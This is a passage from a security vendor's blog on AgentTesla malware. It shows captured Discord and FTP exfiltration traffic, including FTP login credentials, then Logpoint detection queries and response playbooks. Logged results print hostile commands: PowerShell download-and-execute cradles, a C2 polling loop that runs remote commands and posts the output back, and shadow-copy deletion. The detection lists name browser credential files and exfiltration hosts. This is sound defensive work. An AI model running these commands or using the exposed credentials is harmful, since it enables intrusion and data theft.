While observing a [sample](#) in any.run, we found out that the malware tries to exfiltrate data via discord webhooks.



While Exfiltrating data via Discord, we observed that it was exfiltrating sensitive data such as user and system name, CPU and memory information, and collected credentials which we can see in the below images which can be retrieved from the above sample link.

```

1 |----- a1d91c51cf247a2950cd000c6ea2e0
2 | Content-Disposition: form-data; name="filename"
3 |
4 admin-USER-PC 2023-01-31 14-08-37.html
5 ----- a1d91c51cf247a2950cd000c6ea2e0
6 Content-Disposition: form-data; name="fileformat"
7
8 |----- a1d91c51cf247a2950cd000c6ea2e0
9 Content-Disposition: form-data; filename="file"; filename="admin-USER-PC 2023-01-31 14-08-37.html"
10 Content-Type: application/octet-stream
11
12
13 Time: 01/31/2023 14:08:35  
User Name: admin  
Computer Name: USER-PC  
OSFullName: Microsoft Windows 7 Professional  
CPU: Intel(R) Core(TM) i5-6400 CPU @ 2.70GHz  
RAM: 4095.49 MB  
IP Address: 185.192.70.29  
Host: https://www.facebook.com/  
Username: honey@pot.com  
Password: honeypass356  
Application: Outlook  

14 ----- a1d91c51cf247a2950cd000c6ea2e0
15 Content-Disposition: form-data; name="username"
16
17 admin/USER-PC
18 ----- a1d91c51cf247a2950cd000c6ea2e0
19 Content-Disposition: form-data; name="content"
20
21 New PW Recovered!
22
23 Time: 01/31/2023 14:08:36
24 User Name: admin/USER-PC
25 OSFullName: Microsoft Windows 7 Professional
26 CPU: Intel(R) Core(TM) i5-6400 CPU @ 2.70GHz
27 RAM: 4095.49 MB
28 IP Address: 185.192.70.29
29
30 ----- a1d91c51cf247a2950cd000c6ea2e0
31

```

Captured Data being Exfiltrated from Discord

### Data Exfiltration via FTP

In another sample, we found out that the data collection mechanism was similar to other samples but data were exfiltrated using FTP protocol. Due to the use of unencrypted communication channels used by the malware, we were able to observe the following behavior.

```

220----- Welcome to Pure-FTPD [privsep] [TLS]
220-You are user number 2 of 50 allowed.
220-Local time is now 10:11. Server port: 21.
220-This is a private system - No anonymous login
220-IPv6 connections are also welcome on this server.
220 You will be disconnected after 15 minutes of inactivity.
USER FTPAdmin@prolifebacau.ro
331 User FTPAdmin@prolifebacau.ro OK. Password required
PASS Yxvh56N14T9#WtVQ(89SYEUyB0h#Krd
230 OK. Current restricted directory is /
OPTS utf8 on
504 Unknown command
PWD
257 "/" is your current location
TYPE I
200 TYPE is now 8-bit binary
PASV
227 Entering Passive Mode (89,44,121,3,236,247)
STOR PW_admin-USER-PC_2023_02_13_08_11_54.html
150 Accepted data connection
226 File successfully transferred
226 0.036 seconds (measured here), 12.06 Kbytes per second

```

Captured Data being Exfiltrated from FTP

### Data Exfiltration via SMTP

In another sample, we observed the malware after collecting data was exfiltrating data using SMTP, as the communication channel is encrypted we were not able to retrieve what data was exfiltrated.



Data transfer to a remote host on an SMTP port



Suricata matched rule

### Data Exfiltration via Telegram

In one sample, we observed that the malware was able to exfiltrate data through telegram. The malware utilizes telegram API to connect to [api.telegram.org](https://api.telegram.org) and exfiltrate data.



Matched Suricata rule



Communication with telegram

# DETECTION USING LOGPOINT

With the right tools and proper visibility, it should be fairly simple to detect threats at any stage. Read below on how to use Logpoint SIEM to hunt and SOAR to remediate AgentTesla's artifact.

## Log Source Needed

- Windows
- Windows Sysmon
- PowerShell Script Block Logging should be enabled.
- Firewall
- DNS
- Process Creation with Command Line Auditing should be enabled
- Registry Auditing should be enabled
- Object Access Auditing should be enabled

While explaining the process, we have mentioned suitable detection rules that we have tested in our lab environments. Below is the collection of alert rules applicable to the procedures carried out by AgentTesla malware. Note, as with many alert rules, some set of rules may need to be baselined for your unique environment and appropriate filters should be added for approved activities from certain users, systems, or applications.

## Suspicious Execution of LNK File

Threat actors utilized LNK files to execute their initial payload so this alert is triggered whenever the execution of suspicious LNK files that either spawns PowerShell or command prompt and has high entropy in the command field is detected. For this alert to work "entropy" plugin is required. Entropy is our new plugin that helps to calculate randomness in a field's value.(Include a link to download Entropy Plugin)

```
1  label="Process" label=Create parent_process="*\explorer.exe"
2  "process" IN ["*\cmd.exe","*\powershell.exe"]
3  | process entropy(command) as command_entropy
4  | search command_entropy > 5
```

The screenshot shows the Logpoint SIEM interface with a search query in the top bar:

```
label="Process" label=Create parent_process="*\explorer.exe"
"process" IN ["*\cmd.exe","*\powershell.exe"]
| process entropy(command) as command_entropy
| search command_entropy > 5
| chart count0 by |
```

Below the search bar, it says "Found 10 logs". The results table has columns for "command" and "command\_entropy ↑". The results are as follows:

command	command_entropy ↑
"C:\Windows\System32\cmd.exe" /c powershell -ExecutionPolicy Bypass -Command "Iwr http://192.168.1.100/agent.ps1 -OutFile \$env:temp\agent.ps1; iex \$env:temp\agent.ps1"	5.17946229682139
"C:\Windows\System32\cmd.exe" /c powershell -ExecutionPolicy Bypass -Command "Iwr http://192.168.1.100/agent.ps1 -OutFile \$env:temp\agent.ps1; iex \$env:temp\agent.ps1"	5.18494164802191
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" Invoke-WebRequest -Uri 'https://cdn.discordapp.com/attachments/1014930656960192623/1049737181729665064/Financial_Spreadsheets.exe' -OutFile \$env:temp\file.exe; start \$env:temp\file.exe	5.2736619236090565
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" Invoke-WebRequest -Uri 'https://cdn.discordapp.com/attachments/1014930656960192623/1049737181729665064/Financial_Spreadsheets.exe' -OutFile \$env:temp\file.exe;	5.309806190507724

Depending upon the environment, analysts can set the entropy value to filter out the false positives. In our environment, legitimate use entropy was below 5 so we used an entropy value greater than 5 to filter out false positives. Analysts can use up to 90 days of data to establish a baseline to reduce false positives.

### Microsoft Office product spawning Windows shell

In most cases, office documents such as Word and Excel are utilized to execute payload through macros. so this alert helps to detect suspicious child process creation from Microsoft Office Products. These events indicated malicious office file execution and as a result, suspicious child processes such as regsvr32, rundll32, PowerShell, and the command prompt are executed.

```

1  label="Process" label=Create parent_process IN
2  ["*\WINWORD.EXE", "*\EXCEL.EXE", "*\POWERPNT.exe", "*\MSPUB.exe", "*\VISIO.exe",
3  "*\OUTLOOK.EXE", "*\MSACCESS.EXE", "*EQNEDT32.EXE"]
4  "process" IN ["*\cmd.exe", "*\powershell.exe", "*\pwsh.exe", "*\wscript.exe",
5  "*\cscript.exe", "*\sh.exe", "*\bash.exe", "*\scrcos.exe", "*\schtasks.exe",
6  "*\regsvr32.exe", "*\hh.exe", "*\wmic.exe", "*\mshta.exe", "*\rundll32.exe",
7  "*\msiexec.exe", "*\forfiles.exe", "*\scriptrunner.exe", "*\mftrace.exe",
8  "*\AppVLP.exe", "*\svchost.exe", "*\msbuild.exe"]
```

The screenshot shows a log search interface with the following query:

```

label="process" label=create parent_process IN ["*\WINWORD.EXE", "*\EXCEL.EXE", "*\POWERPNT.exe", "*\MSPUB.exe", "*\VISIO.exe",
"*\OUTLOOK.EXE", "*\MSACCESS.EXE", "*EQNEDT32.EXE"]
"process" IN ["*\cmd.exe", "*\powershell.exe", "*\pwsh.exe", "*\wscript.exe", "*\cscript.exe", "*\sh.exe", "*\bash.exe", "*\scrcos.exe",
"\schtasks.exe", "*\regsvr32.exe", "*\hh.exe", "*\wmic.exe", "*\mshta.exe", "*\rundll32.exe", "*\msiexec.exe", "*\forfiles.exe",
"\scriptrunner.exe", "*\mftrace.exe", "*\AppVLP.exe", "*\svchost.exe", "*\msbuild.exe"] -user IN EXCLUDED_USERS | chart count0 by
user,host, domain, "parent_process", parent_command, "process", command

```

The screenshot shows a table of log entries with the following columns: user, host, domain, parent\_process, parent\_command, process, and command. The data is as follows:

	user	host	domain	parent_process	parent_command	process	command
Q	Sam	Exodus.knowledge...	KNOW...	C:\Program Files\Microsoft Office\Office14\WINWORD.exe	"C:\Program Files\Microsoft Office\Office14\WINWORD.exe"	C:\Windows\System32\cmd.exe	"C:\Windows\system32\cmd.exe" /c "vssadmin.exe Delete Shadows /all /quiet"
Q	Dam...	Phobos.knowledge...	KNOW...	C:\Program Files\Microsoft Office\Office14\WINWORD.exe	"C:\Windows\system32\cmd.exe"	C:\Windows\System32\cmd.exe	"C:\Windows\system32\cmd.exe" /c "rundll32 C:\PerfLogs\socks64.dll, rundll"
Q	Dam...	Genesis.knowledge...	KNOW...	C:\Program Files\Microsoft Office\Office14\WINWORD.exe	"C:\Windows\system32\cmd.exe"	C:\Windows\System32\cmd.exe	"C:\Windows\system32\cmd.exe" /c "rundll32 C:\PerfLogs\art164.dll, rundll"

Office product spawning suspicious child process

### Suspicious OneNote Child Process

As macros are blocked by default, adversaries are utilizing [OneNote to deliver their payload](#), so the below query can help to detect events where suspicious processes are spawned via OneNote. The spawned process indicates that the user executed the attached file from OneNote. We have filtered out the spawned process and command line to display only the execution of suspicious commands and processes.

```

1  label="Process" label=Create parent_process ="\onenote.exe"
2  ("process" IN ["*\RUNDLL32.exe", "\REGSVR32.exe", "\bitsadmin.exe", "\CertUtil.exe",
3  "\InstallUtil.exe", "\schtasks.exe", "\wmic.exe", "\cscript.exe", "\wscript.exe",
4  "\CMSTP.EXE", "\Microsoft.Workflow.Compiler.exe", "\RegAsm.exe", "\RegSvcs.exe",
5  "\MSHTA.EXE", "\Msxsl.exe", "\IEExec.exe", "\Cmd.Exe", "\PowerShell.EXE", "\HH.exe",
6  "\javaw.exe", "\pcalua.exe", "\curl.exe", "\ScriptRunner.exe", "\CertOC.exe",
```

```
7  "*\WorkFolders.exe","*\odbcconf.exe","*\msiexec.exe","*\msdt.exe"]
8  OR ("process"="*\explorer.exe" command IN
9   [".hta*","*.vbs*","*.wsh*","*.js*","*.ps*","*.scr*","*.pif*","*.bat","*.cmd*"])
10 OR "process" IN ["*\AppData\*","*\Users\Public\*","*\ProgramData\*",
11  "*\Windows\Tasks\*","*\Windows\Temp\*","*\Windows\System32\Tasks\*"])
```

### Suspicious child process spawned from PowerShell

In many samples, we observed that AgentTesla used obfuscated PowerShell scripts and commands to execute its malicious payload. This alert helps to detect the aforementioned events.

```
1  label="Process" label=Create parent_process IN
2  ["*\powershell.exe*","*\pwsh.exe*","*\powershell_ise.exe*"]
3  "process" IN [".\sh.exe",".\bash.exe",".\schtasks.exe",".\certutil.exe",
4  ".\bitsadmin.exe",".\wscript.exe",".\cscript.exe",".\scrrcons.exe",".\regsvr32.exe",
5  ".\hh.exe",".\wmic.exe",".\mshta.exe",".\rundll32.exe",".\forfiles.exe",
6  ".\scriptrunner.exe"]
```

### Regsvr32 binary execution without DLL in the command line

According to [Microsoft](#), “regsvr32.exe is a command-line utility to register and unregister OLE controls, such as DLLs and ActiveX controls in the Windows Registry.” Regsvr32 is utilized to execute DLL files, so those events where regsvr32 execution is detected without any DLL files in the command line should be monitored.

```
1  label="Process" label=Create "process"="*\regsvr32.exe"
2  -command IN [".dll*","*.ocx*","*.cpl*","*.ax*","*.bav*","*.ppl*"]
```

The query helps to detect events where the execution of regsvr32.exe is not executing any expected file types.

### Regsvr32 network activity

As adversaries have utilized regsvr32 to execute their malicious payload which then communicates with the C2 server and retrieves further information, so this alert detects network connections initiated by the regsvr32.exe binary.

```
1  norm_id=WindowsSysmon image="*\regsvr32.exe" event_id IN [3, 22]
```

### Web request methods via PowerShell

We have observed the use of various PowerShell commands to perform web requests by the malware. This alert can help in detecting such events.

```
1  norm_id=WinServer event_id=4104 script_block IN ["*Invoke-WebRequest*","*iwr *",
2  "*wget *","*curl *","*Net.WebClient*","*Start-BitsTransfer*"]
```

norm_id=WinServer script_block IN ["*Invoke-WebRequest*", "*iwr *", "*wget *", "*curl *", "*Net.WebClient*", "*Start-BitsTransfer*"]   chart count() by user,host,domain,script_block																			
<span style="float: right;">Use wizard</span> <span style="float: right;">All ▾</span> <span style="float: right;">LAST 120 DAYS ▾</span> <span style="float: right;">SEARCH</span>																			
<span style="float: right;">Add Search To</span> <span style="float: right;">More ▾</span> <span style="float: right;">Chart</span> <span style="float: right;">grid</span>																			
<span style="float: right;">count</span>																			
<table border="1" style="width: 100%; border-collapse: collapse;"> <thead> <tr> <th style="width: 10%;">user</th> <th style="width: 10%;">host</th> <th style="width: 10%;">domain</th> <th style="width: 70%;">script_block</th> </tr> </thead> <tbody> <tr> <td>Cyril</td> <td>Exodus.know... KNO...</td> <td>IEX (IWR 'https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/install-atomicredteam.ps1' -UseBasicParsing);</td> <td>1</td> </tr> <tr> <td>Cyril</td> <td>Exodus.know... KNO...</td> <td>iwr -useb https://gist.githubusercontent.com/Cr4sh/4d1e751fe1fc23fb38d063ec68dd5/raw/b9506a851cdd070536c62ff01976b54e10afb9a0/Masquerade-PEB.ps1   iex</td> <td>1</td> </tr> <tr> <td>Cyril</td> <td>Exodus.know... KNO...</td> <td>\$s="172.16.20.2:8080';\$i='1761f0bb-e155cf-e564737e';\$p='http://'\$v=Invoke-WebRequest -UseBasicParsing -Uri \$p\$\$ -Headers @{"X-9d72-e364"=\$i};while (\$true){\$c=Invoke-WebRequest -UseBasicParsing -Uri \$p\$\$/e155cf -Headers @{"X-9d72-e364"=\$i}.Content;if (\$c-ne 'None'){\$r=iex \$c -ErrorAction Stop -ErrorVariable e;\$r=Out-String -InputObject \$r;\$t=Invoke-WebRequest -Uri \$p\$\$/e564737e -Method POST -Headers @{"X-9d72-e364"=\$i} -Body ([System.Text.Encoding]::UTF8.GetBytes(\$e+\$r)-join ' ') sleep 0.8}</td> <td>1</td> </tr> </tbody> </table>				user	host	domain	script_block	Cyril	Exodus.know... KNO...	IEX (IWR 'https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/install-atomicredteam.ps1' -UseBasicParsing);	1	Cyril	Exodus.know... KNO...	iwr -useb https://gist.githubusercontent.com/Cr4sh/4d1e751fe1fc23fb38d063ec68dd5/raw/b9506a851cdd070536c62ff01976b54e10afb9a0/Masquerade-PEB.ps1   iex	1	Cyril	Exodus.know... KNO...	\$s="172.16.20.2:8080';\$i='1761f0bb-e155cf-e564737e';\$p='http://'\$v=Invoke-WebRequest -UseBasicParsing -Uri \$p\$\$ -Headers @{"X-9d72-e364"=\$i};while (\$true){\$c=Invoke-WebRequest -UseBasicParsing -Uri \$p\$\$/e155cf -Headers @{"X-9d72-e364"=\$i}.Content;if (\$c-ne 'None'){\$r=iex \$c -ErrorAction Stop -ErrorVariable e;\$r=Out-String -InputObject \$r;\$t=Invoke-WebRequest -Uri \$p\$\$/e564737e -Method POST -Headers @{"X-9d72-e364"=\$i} -Body ([System.Text.Encoding]::UTF8.GetBytes(\$e+\$r)-join ' ') sleep 0.8}	1
user	host	domain	script_block																
Cyril	Exodus.know... KNO...	IEX (IWR 'https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/install-atomicredteam.ps1' -UseBasicParsing);	1																
Cyril	Exodus.know... KNO...	iwr -useb https://gist.githubusercontent.com/Cr4sh/4d1e751fe1fc23fb38d063ec68dd5/raw/b9506a851cdd070536c62ff01976b54e10afb9a0/Masquerade-PEB.ps1   iex	1																
Cyril	Exodus.know... KNO...	\$s="172.16.20.2:8080';\$i='1761f0bb-e155cf-e564737e';\$p='http://'\$v=Invoke-WebRequest -UseBasicParsing -Uri \$p\$\$ -Headers @{"X-9d72-e364"=\$i};while (\$true){\$c=Invoke-WebRequest -UseBasicParsing -Uri \$p\$\$/e155cf -Headers @{"X-9d72-e364"=\$i}.Content;if (\$c-ne 'None'){\$r=iex \$c -ErrorAction Stop -ErrorVariable e;\$r=Out-String -InputObject \$r;\$t=Invoke-WebRequest -Uri \$p\$\$/e564737e -Method POST -Headers @{"X-9d72-e364"=\$i} -Body ([System.Text.Encoding]::UTF8.GetBytes(\$e+\$r)-join ' ') sleep 0.8}	1																

**Note:** As the above query is only limited to the search log generated from the script block module.

The events can also be searched using process creation logs with command line auditing enabled and provided that the commands were not entered interactively.

```

1  label="Process" label=Create command IN ["*Invoke-WebRequest*","*iwr *",
2  "*wget *","*curl *","*Net.WebClient*","*Start-BitsTransfer*"]

```

### Insecure Policy Set via Set-ExecutionPolicy

This alert is triggered whenever the Set-ExecutionPolicy command is utilized to set insecure policies such as Unrestricted, bypass, or RemoteSigned. Set-ExecutionPolicy is a PowerShell command that can change PowerShell execution policies for Windows systems. The "bypass" option allows the script to be executed without any warning or prompts. The "RemoteSigned" option allows the scripts downloaded from the internet to be executed. The "Unsigned" option will allow scripts that are not digitally signed to be executed.

```

1  norm_id=WinServer event_id=4104 script_block="*Set-ExecutionPolicy*"
2  script_block IN ["*Unrestricted*","*bypass*","*RemoteSigned*"]
3  -script_block IN ["*(New-Object System.Net.WebClient).DownloadString('https://
   community.chocolatey.org/install.ps1')*",
4  "*(*(New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/
   install.ps1')*","*\AppData\Roaming\Code\*"]

```

**Note:** The above query is only limited to the search log generated from the script block module. The events can be searched using Process creation logs with command line auditing enabled and below is the query:

```

1  label="Process" label=Create Command="*Set-ExecutionPolicy*"
2  command IN ["*Unrestricted*","*bypass*","*RemoteSigned*"]
3  -command IN ["*(New-Object System.Net.WebClient).DownloadString('https://
   community.chocolatey.org/install.ps1')*","*(New-Object
   System.Net.WebClient).DownloadString('https://chocolatey.org/
   install.ps1')*","*\AppData\Roaming\Code\*"]

```

### PowerShell Execution Policy Modification Detected

This alert is similar to the above alert as it also detects events where execution policies are set to insecure policies such as Unrestricted, bypass, and RemoteSigned by using registry events.

```

1 norm_id=WindowsSysmon event_id=13 event_type=setvalue target_object IN
2 ["*\ShellIds\Microsoft.PowerShell\ExecutionPolicy*",
3 "*\Policies\Microsoft\Windows\PowerShell\ExecutionPolicy*"]
4 detail IN ["*Bypass*","*RemoteSigned*","*Unrestricted*"]
5 image IN ["C:\Windows\System32\*","C:\Windows\SysWOW64\*"]

```

For this alert to trigger registry auditing for related registry keys needs to be [enabled](#).

### Autorun keys modification detected


To maintain persistence AgentTesla has been found modifying Run registry keys. This alert can help detect events where the binary is either referenced in Run registry keys or set up to be executed at startup.

```

1 label=Registry label=Value target_object IN [
2 "*\software\Microsoft\Windows\CurrentVersion\Run*",
3 "*\software\Microsoft\Windows\CurrentVersion\RunOnce*",
4 "*\software\Microsoft\Windows\CurrentVersion\RunOnceEx*",
5 "*\software\Microsoft\Windows\CurrentVersion\RunServices*",
6 "*\software\Microsoft\Windows\CurrentVersion\RunServicesOnce*",
7 "*\software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit*",
8 "*\software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell*",
9 "*\software\Microsoft\Windows NT\CurrentVersion\Windows*",
10 "*\software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders*"]
11 -event_type=Info detail IN ["*C:\Windows\Temp\*", "*C:$Recycle.bin\*",
12 "*C:\Temp\*", "*C:\Users\Public\*", "*C:\Users\Default\*", "*C:\Users\Desktop\*",
13 "*\AppData\Local\Temp\*", "*%Public%\*", "*wscript*", "*cscript*"]

```

For this alert to trigger registry auditing for related registry keys needs to be [enabled](#).



## Browser Credential Files Accessed

As we have already discussed the credential harvesting techniques of AgentTesla. This alert helps to detect access to browser (Chrome, Edge, Brave & Firefox) files where sensitive data are stored by processes other than the browser itself.

```
1  label=File label=Access ((path IN ["*\AppData\Local\Google\Chrome\User  
2  Data\Default\Network\Cookies*", "*\Appdata\Local\Chrome\User Data\Default\Login Data*",  
3  "*\AppData\Local\Google\Chrome\User Data\Local State*"] object_name IN  
4  ["*\Appdata\Local\Microsoft\Windows\WebCache\WebCacheV01.dat", "*\cookies.sqlite"]) OR  
5  object_name IN ["*\Microsoft\Edge\User Data\Default\Web Data",  
6  "*\Firefox*release\logins.json", "*\firefox*release\key3.db", "*\firefox*release\key4.db",  
7  "*\BraveSoftware\Brave-Browser\User Data*"]) -"process" IN ["*\firefox.exe", "\chrome.exe",  
8  "C:\Program Files\*", "C:\Program Files (x86)\*", "C:\WINDOWS\system32\*", "\MsMpEng.exe",  
9  "\MpCopyAccelerator.exe", "\thor64.exe", "\thor.exe"] -parent_process IN ["C:  
10 \Windows\System32\msiexec.exe"] -("process"=system parent_process=idle) "access"="ReadData"
```

**Note!** In the alert we have only supported the most used browsers, so to monitor for access of credential files of other browsers include the credential file name and exclude the browser process name.

## Detecting file tracing disabled events.

AgentTesla disables the file tracing through the registry, so the below query can detect events where file tracing is disabled.

```
1  norm_id=WindowsSysmon event_id=13 event_type=SetValue  
2  target_object="*\Microsoft\Tracing\*Tracing" detail="DWORD (0x00000000)"
```

For this alert to trigger registry auditing for related registry keys needs to be enabled.

## Detecting CVE-2017-11882

The query below detects events where the parent process is the equation editor.

```
1  label="Process" label>Create parent_process="*\EQNEDT32.EXE"
```

As discussed above **CVE-2017-11882** exists due to issues in Equation Editor, so this query attempts to detect the exploitation attempt by detecting the child process created by Equation Editor.

## Detecting data transfer to discord

AgentTesla exfiltrates data from discord and in some campaigns have downloaded file through discord API. The below query detects events where a post request is made to the discord "api/webhooks" URL. Legitimate usage can trigger false positives but can be helpful in monitoring data transferred to the discord.

```
1  request_method=Post (url="*discord.com/api/webhooks*" OR (domain="*discord.com*" url="*api/  
2  webhooks*"))
```

## Detecting FTP connection

The below query detects network events where the destination or source port contains either TCP port 20 or 21. This query detects FTP connections which can be further filtered to detect an abnormal connection to a host.

```
1 (destination_port IN [20,21] OR source_port IN [20,21])
```

## Detecting DNS query to telegram API sub-domain

The below query searches for events where DNS activities are performed and filter out DNS query to api.telegram.org only.

```
1 label=DNS (domain="*telegram.org" OR query="*telegram.org")
```

## Suspicious outbound SMTP connection

AgentTesla has utilized SMTP protocols to exfiltrate data. The below query looks for network events where the destination port contains TCP ports 25,587,465,2525. To reduce false positives mail clients such as outlook and thunderbird were excluded. Also, mail binary provided by default on the windows system is also excluded.

```
1 norm_id=WindowsSysmon event_id=3 destination_port IN [25,587,465,2525] (-"process" IN ["*C:\\Program Files\\Microsoft\\Exchange Server*", "*\\thunderbird.exe", "*\\outlook.exe","C:\\Program Files\\WindowsApps\\microsoft.windowscommunicationsapps_*\\HxTsr.exe"])
```

## Network Connection to Suspicious Server

Sites included in the below query such as pastebin.com, transfer.sh and mega.nz are legitimate websites that provide the ability for users to freely host, share, and store files on the server. As they are legitimate sites, threat actors can utilize those sites to freely host their payload and download it onto victim systems or exfiltrate data to those sites. This alert can help to detect connections to such sites.

```
1 ((norm_id=WindowsSysmon event_id=3 "image" IN ["C:\\Windows\\*","C:\\Users\\Public\\*"])
2 destination_host IN
3 ["*dl.dropboxusercontent.com*","*.pastebin.com*","*.githubusercontent.com*",
4 "*cdn.discordapp.com/attachments*","*mediafire.com*","*mega.nz*","*ddns.net*",
5 "*paste.ee*","*.hastebin.com/raw/*","*.ghostbin.co/*", "*ufile.io*","*anonfiles.com*",
6 "*send.exploit.in*","*transfer.sh*","*privatlab.net*","*privatlab.com*","*sendspace.com*",
7 "*pastetext.net*","*pastebin.pl*","*paste.ee*"]) OR (device_category IN ["Firewall",
8 "ProxyServer"]) url IN
9 ["*dl.dropboxusercontent.com*","*.pastebin.com*","*.githubusercontent.com*",
10 "*cdn.discordapp.com/attachments*","*mediafire.com*","*mega.nz*","*ddns.net*",
11 "*paste.ee*","*.hastebin.com/raw/*","*.ghostbin.co/*", "*ufile.io*","*anonfiles.com*",
12 "*send.exploit.in*","*transfer.sh*","*privatlab.net*","*privatlab.com*","*sendspace.com*",
13 "*pastetext.net*","*pastebin.pl*","*paste.ee*"]))
```

## Disable the Windows Task Manager application

In a [sample](#), we have found that the malware tries to disable the task manager utilizing reg.exe binary. We can detect it either by process creation events or by registry events which are shown below respectively.

```
1  label="Process" label=Create "process"="*\reg.exe" command="* add *"  
2  command="*DisableTaskMgr*"  
   command="*Software\Microsoft\Windows\CurrentVersion\Policies\System*" command="*/d 1*"
```

To detect events using the below query registry auditing for a particular key should be enabled.

```
1  norm_id=WindowsSysmon event_id=13 detail="*DWORD (0x00000001)*" event_type="SetValue"  
2  target_object="*Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr*"
```

## Disable Command Prompt

In the same sample mentioned above, we have found out that it also utilizes PowerShell to disable the windows command prompt as a result users will not be able to run the Command Prompt application. We can detect such events through process creation logs and registry events, which are shown below respectively.

```
1  label="Process" label=Create "process"="*\reg.exe" command="* add *" command="*DisableCMD*"  
2  command="*Software\Policies\Microsoft\Windows\System\*" command="*/d 1*"
```

## Disable Windows Registry Tool

In another [sample](#), we observed that the malware attempted to disable the windows registry tool as a result users would not be able to modify a registry entry. To detect such events we can utilize registry events.

To detect events using the below query registry auditing for a particular key should be enabled.


```
1  norm_id=WindowsSysmon event_id=13 detail="*DWORD (0x00000001)*" event_type="SetValue"  
2  target_object="*\Software\Microsoft\Windows\CurrentVersion\Policies\System*"
```

# INVESTIGATION AND RESPONSE USING LOGPOINT

Logpoint SOAR can greatly assist in automating the task of investigation and responding to intrusion and other various attacks. Leveraging SOAR can help to investigate malicious behavior and protect the network by blocking the indicator or in the case of end devices isolating them from the network. To accelerate the TDIR process, Logpoint counts with a native endpoint solution, called AgentX, which collects logs and telemetry and uses them to enrich SOAR events for faster malware detection and remediation. There are a tremendous number of useful playbooks that are already available, so only a few playbooks are showcased in this blog.


## Phishing Investigation

As it all starts with phishing attachments, we do have a phishing investigation and response playbook. This playbook investigates potential phishing attacks and provides automated responses which help to reduce the incident response time.



## OneNote Attachment Investigation and Response


AgentTesla and other malware families have been found dropped into the system via malicious OneNote attachments, so we have already created playbooks that can investigate malicious OneNote files and provide a response to mitigate further incidents from the dropped payloads.



Malicious OneNote Remediation Playbook


## Malicious Macros Detection and Automated Response

As office documents containing malicious macros are the most used payload for dropping AgentTesla and other malware families alike. By utilizing Logpoint SOAR with AgentX we can perform an investigation on the execution of such macros.



Malicious Macro Investigation Playbook


After detecting incidents, the Malicious Macro Remediation playbook can be leveraged to remediate threats.



Malicious Macro Remediation Playbook

## Malicious File Investigation and Containment

Besides utilizing a playbook to provide automated investigation and response to malicious macros and OneNote attachments, we have a playbook that can query files in threat intelligence sites to check the legitimacy of the file and provide an automatic response.





Malicious File Investigation and Containment Playbook

## Scheduled task

We have a playbook to retrieve a list of scheduled tasks from a host via OSquery. If an analyst is not sure about a scheduled task after reviewing the list of scheduled tasks, then the Logpoint AgentX Disable Scheduled Task playbook can be leveraged to disable it and perform an investigation on the service.

Playbook Name	Tags	Category	Run	Actions
Osquery Get enabled scheduled tasks - windows Subplaybook	<button>Investigate</button>	<a href="#">▶</a>		<a href="#">⋮</a>
Osquery Get enabled scheduled tasks - windows	<button>Investigate</button>	<a href="#">▶</a>		<a href="#">⋮</a>
Logpoint AgentX Disable Scheduled Task	<button>Respond</button>	<a href="#">▶</a>		<a href="#">⋮</a>

After the investigation, if a scheduled task is found malicious then the Logpoint AgentX Delete Scheduled Task response playbook can be utilized to delete a suspicious scheduled task on a windows host.




## Schedule Task Deleted Case

## Disable Startup Service

The **Logpoint AgentX Disable Startup Service** response playbook reduces the burden of manually disabling a suspicious startup service. This playbook requires the analyst to provide the hostname of the machine, the manager IP address, and the startup service name.


< Back Logpoint AgentX Disable StartUp Service



## Delete Registry Value

As we have already provided alerts to investigate suspicious binaries placed in the Run registry or startup folders. An analyst can utilize the **AgentX Delete Registry Value** playbook to delete the registry value created under AutoRun Registry.

< Back AgentX Delete Registry Value



Below is the case result of the successful deletion of the registry value from the above playbook.

OK  

The value test of registry  
HKEY\_LOCAL\_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run  
is successfully deleted.


Successfully deleted case item  
Source: Playbook - AgentX Delete Registry Value

**Label Details**

Item Id:	d9ae3e7c-6a16-4abe-a401-c7caf2625451
Incident Id:	2d775746-d7f8-4941-9dc6-e76145aee294
Time Stamp:	2023-02-23 15:49:05
Description:	Successfully deleted case item
type:	LABEL
source:	PLAYBOOK
Label:	The value test of registry HKEY_LOCAL_MACHINES...


## Possible Data Exfiltration

As we already have discussed various techniques used for data exfiltration, Possible Data Exfiltration - Investigation playbook can be utilized to investigate possible data exfiltration events.



## Isolate Host

Once the alert rule to detect credential harvesting events is triggered, it is crucial to prevent those data from being exfiltrated, so an analyst can isolate the host by running the Logpoint AgentX Isolate-Unisolate Host playbook.



# CONCLUSION

In conclusion, **AgentTesla** is a highly dangerous malware that can steal sensitive information and exfiltrate it. After conducting an analysis of the malware capabilities, it leads us to create effective detection rules that can help to detect the threat in the system and network. If not all, most of the AgentTesla behavior or traces can be detected by having proper auditing of systems and visibility of an organization's assets.

Enabling auditing of systems and leveraging Logpoint's SIEM can help to detect **AgentTesla** in various stages of infection changes. Whereas by deploying Logpoint's SOAR, organizations can proactively defend against AgentTesla and other malware threats by automating security operations and incident response workflows.

Besides removing suspicious registry run keys using AgentX, SOAR can be utilized to perform investigation actions and provide automatic responses to threats. AgentX is a lightweight application that enriches SIEM+SOAR events to provide increased endpoint protection.

If you would like to know more about **AgentX**, contact your Logpoint representative for further information.

## ABOUT LOGPOINT

Logpoint is the creator of a reliable, innovative cybersecurity operations platform — empowering organizations worldwide to thrive in a world of evolving threats.

By combining sophisticated technology and a profound understanding of customer challenges, Logpoint bolsters security teams' capabilities while helping them combat current and future threats.

Logpoint offers SIEM, UEBA, and SOAR technologies in a complete platform that efficiently detects threats, minimizes false positives, autonomously prioritizes risks, responds to incidents, and much more.

Headquartered in Copenhagen, Denmark, with offices around the world, Logpoint is a multinational, multicultural, and inclusive company.

For more information visit [www.logpoint.com](http://www.logpoint.com)

